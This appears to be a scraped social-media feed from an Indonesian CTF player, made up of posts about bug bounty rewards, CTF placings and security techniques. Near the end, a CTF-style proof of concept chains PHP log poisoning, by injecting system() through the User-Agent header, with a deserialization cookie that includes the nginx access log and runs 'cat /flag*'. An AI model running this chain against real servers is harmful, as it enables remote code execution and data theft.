Dimas Maulana

Just got a reward for a critical vulnerability submitted on @yeswehack -- Improper Authentication - Generic (CWE-287). #YesWeRHackers

HAProxy HTTP/3 -> HTTP/1 Desync: Cross-Protocol Smuggling via a Standalone QUIC FIN (CVE-2026-33555) r3verii.github.io/cve/2026/04/14…

See this Instagram photo by @imphnen.dev instagram.com/p/DSUs-WYiUQT/…

Over the weekend, our team competed in XCTF Finals in China as the only international team among 28. We placed 3rd place overall and 1st in the professional division. Huge thanks to @XCTF_League for the amazing event and high quality challenges. Hope to be back next year!

@ProjectSEKAIctf @XCTF_League GG project Sekai, Great team work!

@HIGHTECHS3C thank u mas nosa, memang rill sih dunia CTF sekarang kaya lebih speed up dari pada dulu, sekarang bahkan banyak yang lebih jago, idk kayanya saya aja yang kebanyakan AFK mean while mereka grinding nonstop atau mereka aja yang learningnya cepet banget, kayanya keduanya sih wkwk.

TERBAIK EMANG ANAK2 CETEEP INI, Regenerasinya sejak dulu gw akuin bagus bagus banget. Tiap tahun selalu muncul penerus barunya. Kudos for all of the indonesian players who participated on the events 🔥🔥🔥

@HIGHTECHS3C thankyou mas

@dimasma__ Congrats mas dim!

Yes! We won! Project Sekai CTF took first place in the professional category at XCTF 2025 in China! all credit given to all project Sekai member that participate in this ctf👌

@ultramenn__ when yah

@dimasma__ Keren mas🔥🔥🔥 Incaran pak purbaya nih

@pawulooe hari hari di katain yang aneh2 gara2 challenge CTF😌 padahal beberapa bulan ini soalku banyak yang solve, dan enggak susah susah amat wkwk

iya mas dimas jago, tpi kalo buat chall web plis tolong untuk lebih memanusiakan manusia🙏

@AnakITKmrnSore thank u mas, sudah lama ga denger good news juga sebenernya wkwk

Finally, some good news 🎉🎉🎉🎉🎉🎉🎉🎉 Congrats mas..

Indonesians just won 2 international CTF at same time this month! Pic: linkedin.com/posts/solderet…

Very cool technique by @lukejahnke for POST based CSRF without a content-type header using a Blob object, Interestingly it also seems to work using a Uint8Array

Wow! dimas took 3rd in AlpacaHack Round 2 (Web)! #AlpacaHack alpacahack.com/ctfs/round-2/c…

@aimardcr sepuh android

dir = "/var/log/nginx/access.log" s = "25" COOKIE = 'O:9:"PageModel":1:{s:4:"file";s:'+s+':"'+dir+'";}' COOKIE = base64.b64encode(COOKIE.encode()).decode() cmd = "cat /flag*" log_poisoning(cmd) print(COOKIE) r = requests.get(URL, cookies={"PHPSESSID": COOKIE}) print(r.text)

POC: import requests, base64 URL = "http://157.245.33.77:30524/" def log_poisoning(cmd): HEADER = {'User-Agent': "<?php system('"+cmd+"'); ?>"} requests.get(URL, headers=HEADER) print("[+] Log poisoning successful")

Log poisoning

I just completed module Using the Metasploit Framework in HTB Academy! academy.hackthebox.com/achievement/38… #hackthebox #htbacademy #cybersecurity